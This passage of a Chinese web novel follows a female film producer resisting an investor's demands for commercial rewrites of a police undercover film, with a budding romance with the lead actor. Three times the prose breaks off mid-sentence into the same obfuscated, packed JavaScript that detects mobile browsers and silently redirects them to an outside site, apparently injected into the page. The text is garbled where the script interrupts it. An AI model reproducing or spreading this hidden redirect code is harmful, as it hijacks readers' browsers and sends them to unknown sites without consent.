而沈宴知道，那个软肋，他早就开始在意了。只是此刻，他还说不出口。 5 另一边，柳尧正和服化组修整血糊妆面，耳边隐约听到剧组里小声议论：“林言要对剧情动刀，要加粉丝向情节。”他心里顿时一紧。 他虽是男二，却只是中层咖位。若真要突出沈宴或临时引入的流量演员，那他这个反派副线角色，恐怕就要被边缘化了。 趁程今刚结束和场务组对接，柳尧赶紧走过去叫住她：“程制片，我有个事……能问一下吗？就是……听说可能要改剧情？那我那些和沈宴的对手戏，是不是要砍？” 程今正收拢手里的资料，闻言停下动作，认真看着他：“不会那么夸张。林言那边只是提出建议，不是最终决定。我们不会轻易动你们的主线对戏，导演也很看重你和沈宴之间的冲突张力。就算后期调整，也会保留角色完整度。” 柳尧闻言松了口气，小声嘟囔一句：“那还好……我就怕拍得再辛苦，到时候全被剪了。” 程今轻拍了拍他的手臂，语气平稳坚定：“放心，我们需要你的角色把警匪线撑住。不然，整个卧底冲突就不成立了。” 柳尧点头，感激地看了她一眼，心中对这个总是能稳住剧组节奏的制片人，又多了几分信服。 可就在他转身准备回妆发区时，眼角瞥见不远处的林言正和沈宴低声交谈。 两人面色都不甚轻松，林言神色一贯冷淡，而沈宴则似乎压着火气，眼神冷了几分。 柳尧心中一动：林言的介入，恐怕不只是改剧本那么简单。这气氛……说不定，还会搅动些别样的情绪。尤其是沈宴，他看起来，像是终于意识到什么，又无法立刻说出口。 6 林言拿出那份严苛到近乎苛刻的“商业优化方案”，言辞间毫不掩饰威胁意味：“如果你们想确保后续拨款，这些调整，必须尽快落实。” 夜幕再次降临，剧组刚拍完最后一条巷战戏，摄影组和导演杨学宁刚松一口气，正准备庆祝主体拍摄收尾，便被程今叫去参加制片办公室的临时会议。 灯光略暗，林言把笔电摊开在桌上，语气一如既往冷静：“我们今日调研后的初步结论，也是董事会期待看到的优化方向。” 他点击翻页，列出几条： 强烈建议邀请某流量歌手或明星友情出演片尾彩蛋，以吸引Z世代粉丝； 剧情结尾调性偏暗，建议补拍主角“突出重围”的爽点桥段，增强情绪释放； 以上两项若不及时推进，后期资金可能难以如期拨付，请制片方自评调配能力。 小澄一边看一边咬唇，脸色发白。 导演皱眉：“剧本结构已经非常完整，再加流量桥段……不是随便插个镜头就能解决的。而且彩蛋戏也需要搭景、调班，时间够吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359161|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林言波澜不惊：“那得看程制片的统筹能力。我们负责评估回报，若看不到追加投入的价值，董事会自然会谨慎行事。” 这话听来温和，却无异于在宣告：不照做，就断钱。 会议室一时间气氛僵冷。 程今盯着屏幕上那几个闪烁的词句，指尖缓缓攥紧了笔盖。她知道，这是资本的又一次施压，甚至是对她这个女制片人的试探：你扛得住吗？你还能给出更强硬的回击吗？ 程今疲惫地靠在椅背上，认真翻看那份“商业优化”策划文档，几乎每一条都精准踩在她的雷点上： 要在警匪线里强塞粉丝向甜梗？ 让男主从内敛深潜的卧底转型成套路感爆棚的爽剧主角？ 这和导演最初坚持的创作逻辑全然背离。 她正欲开口，忽觉一道视线落在身上，林言正端坐在桌对面，神情冷静，眼中却带着一抹若有若无的笑意。 “程制片，”他语调懒散，“这些可都是基于大数据做出的建议。你别怪我太现实，商战就是这样，只要你能满足最优回报，我就能为你争取到最稳的资金支持。” 那语气听来像在谈合作，实则带着隐晦的引导与威胁。他的眼神，也不再纯然是职业上的评估，仿佛还多了一丝揣度与不加掩饰的关注。 程今隐隐不适，倏地收敛神色，在脑海中迅速权衡应对之策。不能立刻翻脸，却也绝不能让出主导。 就在此时，门被轻轻推开。 沈宴进来，正好看见林言倚近桌侧，似乎刚刚结束一句低语，脸上的笑意藏着暧昧。 沈宴眼神一凝，步子微顿。 他站定，没急着出声，只安静地在旁听着。林言一回头，淡淡瞥了他一眼，随口说：“男主角啊，来得正好。我们正讨论要不要加点流量戏，或者安排些强CP场面，你这边得配合一下吧？” 沈宴神色不变，语气克制：“拍什么，听导演和程制片的安排。我负责把角色演好。” 他的声音平静，眼底却压着一股暗涌。 林言合上电脑：“好，那我先回去整理今天的数据。你们尽快给我反馈。” 说着，他从文件袋中抽出一份打印好的建议书，啪地扔在桌面。首页红字赫然写着：“不执行——资金拨款降30%。” 程今的脸色顿时冷了下来，导演张口欲辩，被她抬手按住。林言察觉到她的隐忍，嘴角那抹笑多了几分优越与笃定。 他走到门口时，脚步却蓦地一缓，回头对她道：“回头有不明白的地方，可以随时来问我。单独聊也行。” 那语气，柔和得近乎关切。 沈宴眉头瞬间蹙紧，看着林言故意靠近、甚至略微擦肩的动作，拳头缓缓攥紧—— 他从未想过，自己有一天会对“资本代表”这个词本身生出情绪。但此刻，他却难以压下那股浓烈的不快与……隐忍的占有欲。 7 对家的通稿在各大行业群里疯传： “真能保证影片的商业价值？不如看看什么才是真正的商业保障！ 下月，我们将铺天盖地推出超流量阵容，敬请期待。” 短短几行，字字如锤，狠狠砸进《暗潮》剧组的每一个人心里。 宣发组第一时间将截图转给程今，连一句多余的话都没有附上，他们都知道，这意味着什么。 不只是对家在抢夺市场资源，而是资本在用公开的方式告诉整个行业： “你们不行。” 此时此刻，程今站在制片公司二楼的灯光控制间，背脊被夜色包围，手里攥着林言甩来的提案。冰冷的纸张硌得她掌心发麻，那一行行建议，像是资本对创作者下的通牒： “如果你无法带来更大回报，那就放下所谓坚持。” 门口传来脚步声，沈宴推门而入，声音低低的：“林言……他跟你说什么了？看你刚才神色不对。” 程今没有回头，只让身影沉入昏暗里，仿佛试图隐藏脸上的那一瞬动摇。她低声答：“他说的都是从数据出发……他要我为基金带来更大的利润预期，不然……资金随时可能断。” 她语调平静得像是在复述一个无关紧要的事实，但沈宴却听出其中那份被压抑的、几乎溢出的委屈与疲惫。 他心头一紧，本想脱口而出一句—— “我不喜欢他对你那副姿态。” 那种贴近、审视、带着不加掩饰试探的态度，仿佛她是某个等待评估的项目，不是一个独立的、有主见的人。 但他终究克制了。他明白，这时候他一旦情绪化，只会让她更难。 沈宴退了一步，只轻声道：“你别扛太多。需要我做什么，你尽管吩咐。” 程今终于转身，那双眼里光亮不定，像是在风里挺立太久，才短暂松懈一秒。但很快，她深吸一口气，努力让自己的语气轻起来：“好……让我想想。” 她朝他露出一个微微勉强却依然笃定的笑，“别担心，我不会被资本牵着鼻子走。” 空气里暗流涌动，林言留下的不止是数据表格，更是隐晦的试探：你若顺势，就能拿稳资源；你若抗拒，就等着被写入负面报告。 而沈宴的醋意与愤懑，全压在了心底。他不甘，也更不舍得让她独自面对这场博弈。 程今将那份提案缓缓放入公文夹，合上时像是合上一场谈判。 沈宴没有多言，只默默点头，站到她身侧。哪怕无法为她冲锋陷阵，至少，也不会让她一个人撑在风口浪尖。 23. 第 23 章 1 清晨微光穿过城市的钢筋丛林，刚刚掀开天幕的一角。 程今连夜与导演、林言推敲了好几个版本的宣发方案，天亮才从会议室出来。咖啡一杯接一杯，早喝不出味道，胃里却空得发紧。她抱着厚厚一叠资料穿过走廊，脚步虽快，却有几分强撑下来的虚脱感。 她没回家，也没睡，妆都来不及补，只在洗手间草草洗了把脸，勉强让自己看起来还像那个随时能对外做主的制片人。 上次片花刷屏网络，短暂地带来了点希望，却没能为项目赢得喘息空间。董事会那边，催促她尽快交出“商业化改编”进展；而对家影业的攻势更是凌厉——据公关唐夕透露，对方一夜之间砸下重金，买下全国多地一线城市院线档期，还预订了高铁站、机场的核心宣传位，明显是要把《暗潮》挤出市场边缘。 “程制片。” 唐夕快步迎上来，神色焦灼，“对家昨晚的媒体采访已经上热搜了。他们说这种纯警匪片市场空间早就被榨干了，还暗戳戳提到部分团队连基础排片都拿不到。” 程今吸了口气，脚步没停，只淡声回道：“他们这是在制造印象战。制造排片荒的舆论风向，逼投资人先一步退场。” “更糟的是……”唐夕低声补充，“林言刚给我发了消息，说董事会有人已经在内部质疑宣发策略，认为你太偏重内容端，忽视了市场节奏。” 程今停下脚步，深吸一口气。她能感觉到身上每一根神经都在被拉扯，却仍要保持镇定。 一提到林言，程今脑子更疼。这个新派进来的资本代表，理性、冷静、擅长数据建模，也擅长用“理智”包装逼退创作团队的每一次坚持。他从未明说什么，却每次看她的眼神里，仿佛都带着几分私人兴趣——那种带着好奇的欣赏，好像她不是合伙人，而是某种待分析的样本。 程今当然察觉到了，也当然不会回应。 她停在办公区门口，回头对唐夕道：“我去片场。巷战那场戏今天开拍，导演在等我。” “二三线院线的事，先别跟林言汇报，去联系区域负责人，能谈的尽快谈。我打算先在外围反包一圈，把路冲出来。” 唐夕迟疑了一下，还是点头：“他要是问……” “就说我临时决定，先试探市场。” 她看了一眼手表，眉头皱得更紧了些。 唐夕低声苦笑：“林言怕是又要跳脚，说你破坏窗口期统一战略。” “他可以说。”程今声音不大，却句句带锋，“但我也得告诉他，如果没有片子顺利上映，他的回报率连表格都进不去。” 说完，她转身迈步离开，手里抱着那一沓方案资料，脚步沉稳又干脆。 2 果然，程今一踏进片场，就看见杨学宁站在巷道景前，脸色难看，手指在手机屏幕上飞快滑动。 “你看，永荣刚又开了场发布会。”他把手机递过来，语气压低却掩不住焦躁，“全国院线核心时段他们几乎包了个遍，媒体那边直接放话：他们才是市场最强保障。某些警匪片若想碰瓷，只能蹲冷门时段自生自灭。” 对家的措辞比之前更露骨，甚至借性别话术明讽“女性制片人驾驭不了商业类型片”，评论区更是一片冷嘲热讽。 程今眸色微冷，没说话。 杨学宁愤愤地挥手：“咱们这是真刀真枪拍硬片，永荣那边只会玩排片和话术？凭什么被他们牵着鼻子走？” 一旁的柳尧刚走完场，听得一脸懵：“啊？那我们上映岂不是根本没人看？我演得再好也没位置排出来啊……” “确实很难。”程今揉了揉眉心，语气沉着，却透着疲意，“对家一旦封死了院线黄金档，我们就只能靠边角料。但——”她停顿一瞬，眼神渐渐凝住，“我们也不是完全没得选。” 杨学宁一怔：“你有招？” 程今点点头，简明扼要：“宣发联盟。我和唐夕已经开始在谈，准备联合部分二三线城市院线做局部联动，同时加快和海外流媒体平台的预售谈判，从外围先撕开一个口子。” 导演怔了一下：“你说的是……宣发联盟？” 程今点头：“对。我们从外围反推流量，不走他们指定的主航道，也能创造热度。” 她话刚落，身后传来一个不紧不慢的声音：“又是流媒体？” 几人回头，他从摄影架后缓步走近，西装挺括，手腕上的表折射出一点冷光。他的语气一如既往地温和理性：“程制片，董事会已经提醒过，若影片未上院线先行售卖线上资源，可能扰乱市场判断，影响长线收益。”他的语气仍然克制，却透着一种不容置喙的力量，“毕竟，这不是独立制片项目，你承担不起集体的亏损。” “我知道。”程今侧过身来面对他，语气不疾不徐，“但我们现在线下的核心入口被封得死死的，连正面博弈的空间都没有。与其等死，不如主动出击——先做局部突破，再看能不能反带排片。” 林言轻轻一挑眉，像是在思考，又像是在试探。他慢条斯理地说：“我尊重你的选择。只是作为财务顾问，我必须把所有风险写进报告。如果这一步失败，不排除董事会会重启战略调整。” “风险我来担。”程今的声音依旧冷静，但背脊挺得笔直，“我只希望你写报告时，也能把可能收益写进去。别只看眼前的数据。” 他的目光毫不掩饰地落在程今身上，像是在审视猎物的搏命挣扎，又像在欣赏某种极限状态下的爆发力。那种安静的压迫，比吵闹更可怕。 气氛一时间压到极点。 “程制片。” 一道干净清朗的嗓音忽然打断僵局。 沈宴不知何时走来，手里还拿着剧本，神情沉稳，语调温和却笃定。 “灯光组已就位，导演等你定最后场面调度。” 他停顿半秒，又看向林言，“如果临时会谈结束了，我们可以继续正常拍摄了吗？” 一句话，没有半点起伏，却像将球权从林言手中稳稳夺回。 林言转头看了沈宴一眼，笑意不减，却不再多言。他向后退半步，意味深长地开口：“你们继续。我也想看看，这条非主路到底能走多远。” 说完，他朝程今轻轻点头，离开片场，像是一场风暴暂时离场。 程今却没松懈，只是轻轻吸了口气，转头对沈宴点头：“谢谢你。” 沈宴低声回答：“他不该一直站在这儿。” 他语气平稳，却藏着点什么。像是不快，也像是一种默默的防卫。 两人目光短暂交汇，在片场昏黄光线中，有种谁都没说破的默契。 而灯光组已就绪，导演开始催场。 程今提步走入巷道景区。沈宴站在原地几秒，收回视线，也跟了上去。 3 演员各就各位，场务正忙着调灯、布景，棚内一派有序的混乱。 程今站在角落，肩侧夹着手机，另一只手在iPad上翻阅资料。布景组的敲打声混杂着灯光组的呼喊，远处还有群演练动作的喊声。她微微侧身，靠近隔板，尽量让自己听得清唐夕的汇报。 “二三线院线的意向怎么样了？”她压低声音问。 唐夕那边的声音压得极低：“一部分还在观望，怕被对家封资源。但也有几家院线经理私下表示，对家就盯着一线城市，他们反倒想借我们试一把新路子。关键看咱们这边的后续操作能不能打动人。” “好。”程今迅速判断，“把有意向的优先列出来，先定下几个核心点，再拟宣发联盟方案交董事会，流媒体这块我来推进。” 她正准备挂电话，却像想起什么：“还有，林言估计还是要拿线上影响线下票房说事，你这边要提前准备好分区分阶段上线的方案。” “明白。”唐夕语气一紧，“对了，他今天在群里没说什么，但我总觉得他盯得比之前更紧了。” “我知道。”程今冷静应了一句，结束通话。 通话结束时，程今刚好看见沈宴走过来。她略一迟疑，低声道：“我可能得借用你的人脉，和那家海外流媒体平台打个招呼。” 沈宴点头，没有一丝多余寒暄：“没问题。我还联系到几家国际品牌，有意愿和影片联名出街头系列。想先看草案吗？” 程今有些意外地看着他，眸光一顿：“你谈下来的？” “朋友之间介绍的。”沈宴语气平静，“品牌商想和电影绑定点话题，也算互相借力。你要有兴趣，我可以安排一轮会见。” 她心头一动，嘴上只淡淡一句：“谢谢你，帮了大忙。” 沈宴笑笑，语气轻得像句玩笑：“那我算不算你宣发团队里的编外人员？” 程今愣了下，嘴角轻动，没正面回应，只把文件夹夹紧，语气淡然却认真：“你这份材料很及时。我先看，改天约个时间聊细节。” 两人之间的气氛虽平静，却有隐约默契在流动。 不远处，林言站在监视器边，似笑非笑地朝这边看了一眼，缓步走来，语气不咸不淡：“沈宴的商务资源不错，倒是帮你省了不少精力。” 程今不动声色：“你不是一向喜欢结果导向？资源到位就好。” 林言轻轻一笑，语气带着隐晦意味：“当然，我也一直好奇，程制片究竟有多少未公开的牌。你一往无前的时候，确实挺……迷人的。” 他这句话说得极缓，尾音仿佛掠过耳侧风声，带着一种莫测的锋利。程今的眼神轻轻一闪，没有回应，只抬手看了眼手表：“我还有事，先去导演那边。” 她一转身，背影干脆利落。 沈宴站在原地，目光始终落在她背上，眸色深了几分。 林言收回视线，看向沈宴，微笑不语。他从来不介意被误解，更不介意被人防着。只是有些事，他倒真想看看，这个叫沈宴的人，能陪程今走到哪一步。 4 中午，《暗潮》剧组暂停拍摄，演员们就地休息，棚里安静下来，只剩灯组在调试光线。程今趁机召集导演与几个核心成员，在片场边的临时会议区开了个短会，沈宴也被一并叫来。 程今开门见山：“对家已经在核心城市的主流院线投下重金，黄金档几乎被他们封锁。我们能指望的，就剩宣发联盟和海外联动。” 她扫视众人，语速冷静利落：“沈宴联系了几个国际品牌，对方有意和影片合作营销。若能谈成，对我们不仅是话题破局，也能直接缓解成本回收压力。” 杨学宁皱眉：“品牌赞助？怎么和警匪片结合？” 沈宴适时接话，语气从容：“联名服饰、动作短片、定制宣传片都可考虑。品牌自带流量入口，也能反哺影片声量。只要戏拍得够好，他们不会拒绝站台。” “但这需要专业团队。”导演仍有顾虑。 “我会找公关公司对接。”程今接话，“沈宴负责牵线，我这边出方案，不拖剧组任何进度。” 她的语气虽平静，却带着无法动摇的决绝，众人一时无话。最终还是导演轻轻点头：“只要不干扰拍摄节奏，我支持。” 会后，众人陆续散去，林言却一直没走远。等人群走空，他缓步走来，目光停在程今手中的文件上。 “真没想到，你们这就开始做跨界营销了？”语气像在询问，又像在审视。 程今并未回避：“常规宣发通道被堵死，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359162|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能找新路。我们也在对接海外流媒体，争取分阶段上线。” 林言轻轻颔首，语气却仍是那份克制的调子：“程制片用人得宜啊，一个男主角还能干宣发的活儿。” 程今一怔，心里闪过一丝警觉，不知这是在称赞，还是另有所指。 林言却不紧不慢地补了句：“眼光不错，只是别让这点商业花招让你忘了影片本质。你还是得面对实打实的票房风险。” 他说完，从她手上拿走了会议纪要，嘴角掠过一抹意味不明的笑意：“别太累，好好休息。” 程今盯着他离开的背影，眉心微蹙。林言对她态度越发复杂，她不是没察觉，却始终不知对方究竟是资本立场的监督者，还是某种个人情绪的投射者。 她正出神间，沈宴从一侧走近，语气刻意平淡：“他又跟你谈什么？” 程今收起文件，抬眼：“他关心我们是不是走偏方向。” 沈宴轻哼一声，似笑非笑：“你这么能干，他若真那么关心，应该早些出手帮忙。” 程今怔住，看他一眼，察觉他语气里藏着不加掩饰的不悦。她没答话，只道：“下午还有大戏开拍，你准备一下。” 沈宴没再说什么，但转身前，轻声道：“我会盯紧你那部分海外合作。” 程今轻点了下头，却在他离开背影里，捕捉到那种不动声色的保护欲。 下午，剧组筹备拍摄最后一场巷战重头戏。 这是男主与柳尧饰演的反派角色首次正面交锋。沈宴饰演的卧底警察，必须在满目疮痍的街头与旧日好友兵刃相向。 灯光组和烟火组昼夜赶工，布景道具满地堆放；化妆团队紧急为两人补妆造型，伪血、伤口、汗液一一到位。 程今站在监视器旁，身侧的小澄是今天特意被导演叫来实地取素材的剪辑师。 “我们这一场动作镜头很复杂，”导演边布置边提醒，“小澄你盯着，看看现场拍出来和剧本节奏有没有落差，后面才好剪。” 正式开拍，气氛立刻紧绷。 镜头里，沈宴一身狼狈、目光锋利。柳尧角色阴狠中带着愤怒，两人隔着一道斑驳铁栅，彼此目光一触，像藏着千言万语。 台词不多，情绪却铺天盖地。 光影交错，眼神交锋，每个细节都压着极限在走。 导演多次喊“卡”，每一次都是为了调整角度或补一个呼吸节奏。 程今看着监视器上的画面，不由自主屏住了呼吸——这场戏的情绪张力，比她想象中还要饱满。 小澄在一旁抑制不住激动，小声喊：“太燃了！这场绝对能进预告主轴！” 导演也一改往日严苛，罕见地点头：“这场，能封神。” 拍摄一结束，剧组陷入短暂安静。 柳尧满身道具血，气喘吁吁，望向程今时眼里藏不住期待。 “你觉得……我还行吗？”他的声音略显紧张。 程今朝他竖起大拇指，语气少见轻松：“后期会给你保留足够镜头，放心。” 柳尧松了一口气，像个少年般笑开。 沈宴站在远处，没说什么，但在掌声响起的一刻，他静静看着程今站在人群中央，被聚光灯与信任包围。 他静静看着，没有出声，眼底翻涌着一层藏不住的情绪。 5 夜里九点，剧组刚收完巷战戏的尾景。灯光熄得只剩几盏，废弃街巷搭景下人影稀疏，空气里还残留着烟火味和胶布焦灼味。 唐夕急匆匆赶到，语速很快：“对家突然开了个发布会，终极预告说要全平台铺开。” 导演脸色倏然僵住，拍手落下的声响也随之停住：“他们摆明了要把我们按在地上踩。” 程今站在一堆未拆的道具箱边，垂眼扫过手机推送，片刻后开口：“现在顾不上正面对轰，先把宣发联盟敲下来。唐夕，别等公关流程了，明早给我第一版合同。能签的先签，能松口的立刻谈，别让林言又说我们只会画大饼。” 唐夕点头：“好。但资金那边……” “我来和林言谈。”程今合上文件夹，语气冷静中带着几分咬牙，“他再怎么压，也得知道，没这笔合作，我们连反击的入场券都没有。” 一旁的沈宴脱下戏服，靠着灯架喝水，听得心头一紧：“我先发些路透吧。今天这场戏拍得有火候，我跟柳尧可以联动一波互动，至少让话题先升起来。” 程今看他一眼，疲惫中掠过一丝感激：“可以。记得带点剧情张力。就算是轻宣发，也得让观众嗅到火药味。” “明白。”沈宴点头，拇指已在手机上划出预设文案。 此时，林言远远走近，不言不语，站在人群背后。他没插手，但目光落在程今身上，却带着一种介于欣赏与揣度之间的意味，像是审视，又像在默默计算。 沈宴余光瞥见，他喉咙动了动，话到嘴边终究没说出口。现在不是纠结私人情绪的时候，程今已经够累，他不能再添乱。 而她，那一刻正看着散场中的剧组成员，一个个拎着道具、卷起反光板，连背影都透出疲惫。 风吹起她的发丝，她拢了拢耳侧的碎发，手里的文件越抱越紧，像是紧攥着整个剧组的命脉。 她知道，资本战场从不讲情面。对家的发布会只是开始，下一波可能就是舆论定调、平台压制，甚至资源切割。 “必须把宣发联盟定下来。”她低声说，像是提醒别人，又像在提醒自己，“不能让他们封死所有退路。” 灯光渐暗，巷道场景散乱未清。程今站在夜风中，仿佛下一秒就要被所有压迫的现实压弯脊背，却仍挺直身子，像一把未收鞘的锋刃。 24. 第 24 章 夜色沉沉，制片公司顶层会议室灯光透亮，程今却觉得那束光打得人眼睛发涩。 屏幕上，林言刚发来最新邮件，标题寡淡无情：《关于新增商业元素的建议方案》。 她捏着鼠标，指节微白，视线落在附件的第一页，一条条写得清清楚楚： 增加年轻演员戏份 植入“粉丝互动”桥段 淡化卧底心理描写，增加角色间张力与情感互动…… 程今没说话，只是将光标移到邮件尾端，停了几秒。 一旁的杨学宁已经看完打印稿，狠狠摔在桌上：“这还是《暗潮》？还要搞甜宠、搞小鲜肉、加梗？我们拍了这么久的警匪卧底，全白拍？” 他语气压低，却透着一股火快要从嗓子眼里冒出来，“这叫创作？这叫操作市场？” 程今轻轻吐了一口气，把邮件缩成小窗口，声音低哑：“我知道，这些要求不合理。但后期的资金还卡在他们手上。如果我们这时候硬顶，可能连最后一轮剪辑都推不下去。” 杨学宁像是被呛了一口，烦躁地一把抓乱了头发：“这不是逼人就范吗？程今，他们这是在逼你！” 程今手指一点点摩挲着杯口，没说话，过了几秒才开口：“我不想让故事走形。但可以试着在不触碰主线的前提下，把边角的位置让一让……一些画面和结构可以商量，但卧底的主轴不动，这部戏的魂不能丢。” 杨学宁盯着她看了一会儿，眼神复杂。他知道她也为难，她从来不是不懂创作的人，只是她必须先确保这部戏能顺利拍完。 他最终只是一声低叹，像是泄了气：“……好。你看着来吧。” 就在这时，门被轻敲。 林言的助理抱着文件进来，眼神彬彬有礼，却带着一股不容置疑的标准笑容：“林总请您查收这份修订方案，四十八小时内，希望能收到调整后的回馈报告。” 说完，他将厚厚一叠修改建议规整地放在桌角，“此外，后续预算申请会同步根据反馈方案进度进行审核。” 说完，他转身离开，脚步干脆，仿佛这是他今天最轻松的一件事。 会议室一片沉默。 只有杨学宁在翻文件的手停了一拍，然后压低声音：“四十八小时？他知道我们这两天还在拍对峙场面吗？这能改完？还能拍？还能剪？” 程今没有回应，只站起身，慢慢把文件理好，动作平稳而清晰。 “你先去准备明天的场面。我来想办法，”她语气不重，却自带分寸，“只要底线不被碰，我可以去谈。” 杨学宁没再出声，起身走时肩膀微微塌着，像是把执念暂时压进心里。 门阖上，会议室重新归于沉寂。 程今一个人坐着，看着那摞修改建议，眼睛一瞬不瞬。过了片刻，她缓缓闭了闭眼，再睁开时，目光已然坚定。 哪怕再难，她也得扛，也不能让他们真的把这部戏，切成他们想要的样子。 . 翌日清晨，片场照例开工。 这几天拍的，都是剧情末段的重头戏，警匪卧底线的收束场景，以及几场关键对峙的补拍。拍摄区域气氛凝重，灯光偏冷，场务压低声音走动，就连摄影组调试镜头都比平时更小心。 林言和几位分析师早早到场，站在监视器一侧，一人一台平板，不断对着现场记录、比对。他们交流声音不高，却句句都往创作最敏感的地方扎： “这里气氛太灰暗了，能不能调一点颜色？” “角色要不要多一点肢体互动？看上去更有亲和力。” “这场戏结尾可以补点轻松化处理……不然太沉了，粉丝未必爱看。” 导演杨学宁脸色一寸寸僵硬，额角的青筋隐隐浮现。他忍了十几分钟，终究在听见那句“粉丝想看偶像可爱一点”时，猛地转身： “可爱？你在跟我开玩笑？”他的声音不高，却压着怒火一字一句地说，“我们拍的是卧底警匪片，不是偶像练习生综艺。这段戏讲的是撕裂和背叛，你要我拍个wink出来取悦观众？” 分析师们一时噤声，林言却依旧不慌不乱，神情平静：“不是玩笑，是数据结果。年轻观众对轻松节奏的接受度更高，如果影片尾段太压抑，不利于话题扩散与观众转化。” 导演气得直笑，抬手就要摔剧本，被程今一把按住。 “杨导，”她语气比平时更低，“冷静点。” 杨学宁咬着后槽牙，目光却没放软：“他是在毁戏。” “我知道。”程今把他拽到一旁，尽量压低声音，“可你现在一发火，他们就能说我们创作团队抗拒调整，说我们不配合制片和资本。你想让项目再陷一次危机吗？” 导演狠狠吸了口气：“他们是资本，我认。可这也太拿观众当傻子了。” “我们先把最后镜头拍完，有些问题可以放进剪辑阶段再谈。”程今语气放缓，却坚定，“你别和他们正面起冲突。我会想办法，让他们撤掉最离谱的建议。” 导演沉默了几秒，最终点头：“你协调，我不管。但要真拍出那种玩意儿，就找别人拍吧。” 他甩下这句话，拎着剧本转身回拍摄区，步伐有些重，像极了快要憋出内伤的猛兽。 程今看着他的背影，深吸一口气。耳边传来林言平板敲击的声音，分析师们已经开始讨论下一场戏的优化方向。 她明白，这不光是艺术与市场的对峙，更是一次关于立场、底线和信念的角力。 不远处，柳尧坐在道具箱上，正低头翻剧本，神色郁郁。 身边几位群演在闲聊，语气吊儿郎当：“听说投资方那边要删掉一些边角人物戏，准备塞几个带粉流量进来，搞点粉丝效应。” 这句话像根刺，一下扎进柳尧耳朵里。他顿时紧张起来，手里那页剧本看了好几遍也没翻过去。别人也许不在意，可他很清楚，自己既不算流量，也没强势资本背书，粉丝群体比不过人家三分之一。真要倾斜资源，他这条副线，恐怕第一个被砍。 他脑子里一团乱麻，正在反复咀嚼那句“删掉不必要的人物戏”时，程今恰好从场务区出来，准备去灯光组看看。 柳尧顾不得多想，几步上前，低声唤住她：“程制片，可以跟你说句话吗？” 程今一愣，脚步顿住，看出他神色不对，语气放缓：“怎么了？” 柳尧低着头，像怕被人听见似的：“我刚听说……林言要加流量演员，还想剪掉一些没必要的戏。那我呢？我这角色是不是……不保？” 程今看着他，一时没立刻开口，而是将手中资料交给旁边助理，才耐心转回身：“目前还没定具体调整，林言那边只是递了初步方向。就算真要拍点粉丝向彩蛋，也不会动主线。” 她语气一贯平稳，却也给足对方安抚的空间：“你的线是男主心理转折的关键段之一，导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359163|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演不会轻易砍。那场兄弟反目已经拍成了预告重点，观众反响也不错。” 柳尧张了张嘴，嗓子像卡住：“可现在临近收尾，我粉丝基础又一般……真有什么资源倾斜，我怎么办？” 程今拍了拍他胳膊，语气坚定：“别自己吓自己。你手里这角色值钱，价值不在粉丝数，而在戏本身。剩下那场巷战动作戏你只要演得扎实，自然有人帮你说话。” 她微微一笑：“林言亲眼看到你的表现，胜过你去证明任何粉丝量。” 柳尧沉默几秒，眼神慢慢亮了起来，像抓住了浮木：“……好，我明白了。我一定演好，不让你失望。” 程今点点头，看着他转身离开的背影，心中却不见轻松。 每一个人都在惦记自己的戏份、命运，而她既要顾得住这些年轻演员的焦虑，还要扛得住林言背后的资本算盘。每一环都是拉扯，每一步都像走钢丝。 她低头扫了一眼手机，林言发来的“调档建议”还未点开。 她深吸口气，转身继续往前走。 . 晌午时分，小会议室里空气沉闷。 程今、林言与杨学宁隔着会议桌对坐，一份份数据报告摊在桌上，几乎占满整块台面。 林言语气一如既往平稳，手指敲着平板：“再坚持纯警匪结构会失去年轻用户群的情感连接。董事会要求做一些有限的商业调整，比如——”他抬眼看向程今，“给卧底主角加一条情感线，或者加入几场轻松的互动桥段。” 导演手指一顿，脸色立刻绷紧，几乎要拍桌而起。程今先一步看他一眼，眼神清晰压制住他的动作。 她转回视线，语气平缓却不失锋芒：“可以考虑拍一些轻量互动戏份，但只做可剪可不剪的处理，作为彩蛋或物料存在。主线不动，故事结构不动，人物关系线不动。” 林言挑眉，翻阅平板，像是在权衡后退的尺度。他没立刻反驳，只点了点头：“那也算是一种妥协方式。” 导演将剧本合上，明显忍得不舒服，嗓音低冷：“你们这些数字分析师是想一刀一刀把我们这片子剃成短视频吧？卧底谈恋爱这种思路，你不如让我改拍言情片算了。” 林言并不恼，语气淡淡的：“不是不尊重创作，而是尊重市场。年轻观众想看情绪价值，不想看持续压迫。我们不是让你拍偶像剧，只是给观众一个喘口气的窗口。” 